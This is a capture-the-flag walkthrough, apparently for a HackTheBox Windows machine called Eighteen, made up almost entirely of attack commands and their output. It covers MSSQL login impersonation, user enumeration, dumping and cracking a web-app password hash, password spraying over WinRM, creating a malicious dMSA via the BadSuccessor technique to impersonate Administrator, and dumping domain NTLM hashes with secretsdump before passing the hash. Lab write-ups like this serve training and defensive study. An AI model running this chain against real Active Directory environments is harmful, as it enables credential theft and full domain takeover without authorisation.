Eighteen: MSSQL to BadSuccessor

$ nmap -p- --min-rate 5000 -sS <target>
$ nmap -sC -sV -A -oN nmap_report.txt <target>

PORT     STATE SERVICE
80/tcp   open  http       Microsoft IIS 10.0 → eighteen.htb (Flask app)
1433/tcp open  ms-sql-s   Microsoft SQL Server 2022
5985/tcp open  wsman      WinRM

$ python3 mssqlclient.py kevin:'[REDACTED]'@<target> -windows-auth

SQL> SELECT name FROM sys.databases;
-- four databases, one non-default: financial_planner

SQL> SELECT distinct b.name FROM sys.server_permissions a
    INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
    WHERE a.permission_name = 'IMPERSONATE';
-- appdev

SQL> EXECUTE AS LOGIN = 'appdev';
SQL> SELECT SYSTEM_USER;
-- appdev

$ netexec mssql <target> -u kevin -p '[REDACTED]' --rid-brute

-- domain users: adam.scott, jane.smith, alice.jones, ...

SQL> USE financial_planner;
SQL> SELECT username, password_hash, is_admin FROM users;

-- admin hash: [REDACTED] (Werkzeug pbkdf2:sha256 format)

$ hashcat -m 10900 werkzeug_hash.txt /usr/share/wordlists/rockyou.txt

-- cracked: [REDACTED]

$ netexec winrm <target> -u users.txt -p '[REDACTED]'

-- adam.scott : [REDACTED]   (Pwn3d! - WinRM access)

$ evil-winrm -i <target> -u adam.scott -p '[REDACTED]'

*Evil-WinRM* PS C:\Users\adam.scott\Documents> # cat Desktop\user.txt

# time sync — Kerberos is clock-sensitive
$ sudo ntpdate -u dc01.eighteen.htb

# create a malicious dMSA "preceded by" Administrator
$ netexec ldap dc01.eighteen.htb -u adam.scott -p '[REDACTED]' \
  -M badsuccessor -o ACTION=add COMPUTERNAME='evil$' \
  OU='OU=Staff,DC=eighteen,DC=htb'

# request a TGT as the dMSA, impersonating Administrator
$ python3 getST.py -spn cifs/dc01.eighteen.htb -dmsa -self \
  'eighteen.htb/adam.scott:[REDACTED]' -impersonate 'evil$'
$ export KRB5CCNAME=evil.ccache

$ python3 secretsdump.py -k -no-pass dc01.eighteen.htb -just-dc-ntlm

-- Administrator NT hash: [REDACTED]

$ evil-winrm -i <target> -u Administrator -H '[REDACTED]'

*Evil-WinRM* PS C:\Users\Administrator\Desktop> # type root.txt